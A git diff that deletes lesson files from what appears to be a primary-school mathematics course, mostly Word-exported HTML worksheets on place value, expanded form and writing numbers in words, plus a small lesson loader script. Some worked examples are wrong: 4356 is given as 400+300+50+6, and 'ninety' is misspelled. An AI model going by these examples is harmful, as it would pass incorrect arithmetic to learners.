-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   948
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   90
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   208
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   28
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-  </span>
-  <span style="font-size: 12pt;">
-   374
-  </span>
- </li>
-</ol>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p>
- <br />
- <br />
- <br />
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a01/description.py b/Save_Mathematics/P4/map411m02/map411m02a01/description.py
deleted file mode 100644
index db3ad02..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m02a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a01/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a01/lesson.js
deleted file mode 100644
index 9af4981..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m02/map411m02a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a01/source.txt b/Save_Mathematics/P4/map411m02/map411m02a01/source.txt
deleted file mode 100644
index 8bd82af..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a01/source.txt
+++ /dev/null
@@ -1,249 +0,0 @@
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <strong>
-   <span style="font-size: 12pt;" lang="YO">
-    Introduction to resources
-   </span>
-  </strong>
- </li>
-</ol>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  This course of reading and writing whole numbers will be facilitated by revision of
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  counting numbers less or equal to 100 000 and practical activities related daily life.
-  <strong>
-   <span style="color: red;">
-    &nbsp;
-   </span>
-  </strong>
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  T
- </span>
- <span style="font-size: 12pt;">
-  his is the reason why following exercises should be revised in the classroom before starting reading and writing numbers course.
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   &nbsp;
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  (Instruction : The Teacher asks
-  <span>
-  </span>
-  2 students)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to count numbers from 0 to 100
-  <span style="color: red;">
-   .
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
-  (Instruction : The Teacher asks
-  <span>
-  </span>
-  2 students)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to count laptops in the classrooms.
-  <span style="color: red;">
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  1)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Break down (
- </span>
- <span style="font-size: 12pt;">
-  expanded forms
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  ) the
- </span>
- <span style="font-size: 12pt;">
-  following numbers
- </span>
- <span style="font-size: 12pt;">
-  <span style="color: red;" lang="YO">
-   (see how is done in exercices 1 and
-   <br />
-  </span>
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   45
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   (40+5)
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   745
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   (700+40+5)
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="color: #c00000; line-height: normal;">
-  <span style="font-size: 12pt;">
-   4356
-  </span>
-  <span style="font-size: 12pt;">
-   <span lang="YO">
-    (400+300+50+6)
-   </span>
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   9273
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   4926
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   27835
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   84657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   75643
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   645937
-  </span>
- </li>
-</ol>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) What is the place value of each digit in following numbers?
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   647
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   5
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-  <span style="font-size: 12pt;">
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-  <span style="font-size: 12pt;">
-   903
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-  <span style="font-size: 12pt;">
-   8
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-  <span style="font-size: 12pt;">
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-  <span style="font-size: 12pt;">
-   746
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-  <span style="font-size: 12pt;">
-   64
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   742
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   20
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   948
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   90
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-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   208
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   28
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-  </span>
-  <span style="font-size: 12pt;">
-   374
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- </li>
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-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
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- <span style="font-size: 12pt;" lang="YO">
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- <span style="font-size: 12pt;" lang="YO">
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-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p>
- <br />
- <br />
- <br />
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a02/a.txt b/Save_Mathematics/P4/map411m02/map411m02a02/a.txt
deleted file mode 100644
index 3f639a9..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a02/a.txt
+++ /dev/null
@@ -1,984 +0,0 @@
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-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  As seen in introduction,
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  counting and
- </span>
- <span style="font-size: 12pt;">
-  place value of digits in numbers and numbers' expanded form notation are prerequisites to reading and writing whole numbers.
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  Let's see how to write numbers in words by using the above knowledge:
-  <br />
-  <br />
- </span>
- <strong>
-  <span lang="YO">
-   To remember :
-  </span>
- </strong>
-</p>
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- <span style="font-size: 12pt;">
-  <span>
-   a)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span>
-  First, it
- </span>
- <span lang="YO">
-  is good to know
- </span>
- <span>
-  the spelling of small numbers, since larger numbers are built upon those numbers.
- </span>
- <span style="font-size: 12pt;">
-  &nbsp;
- </span>
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-<ul type="disc">
- <li>
-  &nbsp;
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-    <span lang="YO">
-     O
-    </span>
-    <span>
-     ne, two, three, four, five, six, seven, eight, nine, ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen, and twenty
-     <br />
-     <br />
-    </span>
-    <span style="font-size: 12pt;">
-     &nbsp;
-    </span>
-   </li>
-  </ul>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   b)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  There is hyphen ONLY once we pass twenty ( between tens and ones). There is not hyphen between thousands , hundreds and tens.
-  <span>
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   23
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  (Twenty-three),
- </span>
-</p>
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- <span lang="YO">
-  <span>
-   342
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  (Three hundred forty-two )
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1.25in;">
- <span lang="YO">
-  93458 (Ninty three thousands four hundred fifty-eight)
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in;">
- <span lang="YO">
-  <span>
-   c)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span lang="YO">
-  There is AND each time 0 is a digit which represent place value of a number exceeding 100 and if 0 is not the last digit.
-  <span>
-   &nbsp;
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span lang="YO">
-  (Instruction: XOs asks each student)
-  <span>
-   &nbsp;
-  </span>
- </span>
- <span lang="YO">
-  to write his /her age in numbers and words.
-  <span style="color: red;">
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span lang="YO">
-  (Instruction: XOs asks each student)
- </span>
- <span lang="YO">
-  to write the year he/she was born.
-  <span style="color: red;">
-  </span>
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    18
-   </span>
-   <span style="font-size: 12pt;">
-    <span lang="YO">
-     (Eighteen)
-    </span>
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    <span>
-    </span>
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    64
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    3(Six Hundred Forty-three )
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;" lang="YO">
-    205(Two Hundred and Five)
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
-</ul>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    7
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    02
-   </span>
-   <span style="font-size: 12pt;">
-    4
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    6
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    008
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    738
-   </span>
-   <span style="font-size: 12pt;" lang="YO">
-    0
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    44
-   </span>
-   <span style="font-size: 12pt;">
-   </span>
-   <span style="font-size: 12pt;">
-    758
-   </span>
-  </h1>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <h1>
-   <span style="font-size: 12pt;">
-    52748
-   </span>
-   <span style="font-size: 12pt;">
-   </span>
-   <span style="font-size: 12pt;">
-    &nbsp;
-   </span>
-  </h1>
- </li>
-</ul>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span lang="YO">
-  </span>
- </strong>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <strong>
-  <span>
-   Solutions
-  </span>
- </strong>
- <strong>
-  <span lang="YO">
-   &nbsp;
-  </span>
- </strong>
-</p>
-<table class="MsoNormalTable" style="border: medium none; border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="451">
- <tbody>
-  <tr>
-   <td style="border: 1pt solid black; padding: 0in 5.4pt; width: 140.1pt;" colspan="3" width="187" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span lang="YO">
-      Thousands
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: 1pt 1pt 1pt medium solid solid solid none black black black -moz-use-text-color;" colspan="3" width="265" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span lang="YO">
-      Units
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Hundreds
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Tens
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Ones
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Hundreds
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Tens
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Ones
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      1
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      6
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      3
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      6
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      0
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 55.05pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="73" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.5pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      5
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 42.55pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="57" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      2
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 77.95pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="104" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 63.8pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="85" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      4
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 56.7pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="76" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      8
-     </span>
-    </p>
-   </td>
-  </tr>
- </tbody>
-</table>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<table class="MsoNormalTable" style="border: medium none; border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0" width="451">
- <tbody>
-  <tr>
-   <td style="border: 1pt solid black; padding: 0in 5.4pt; width: 140.1pt;" width="187" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      Numbers in words
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: 1pt 1pt 1pt medium solid solid solid none black black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="text-align: center; line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      Numbers in words
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-     </span>
-    </p>
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      18
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-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
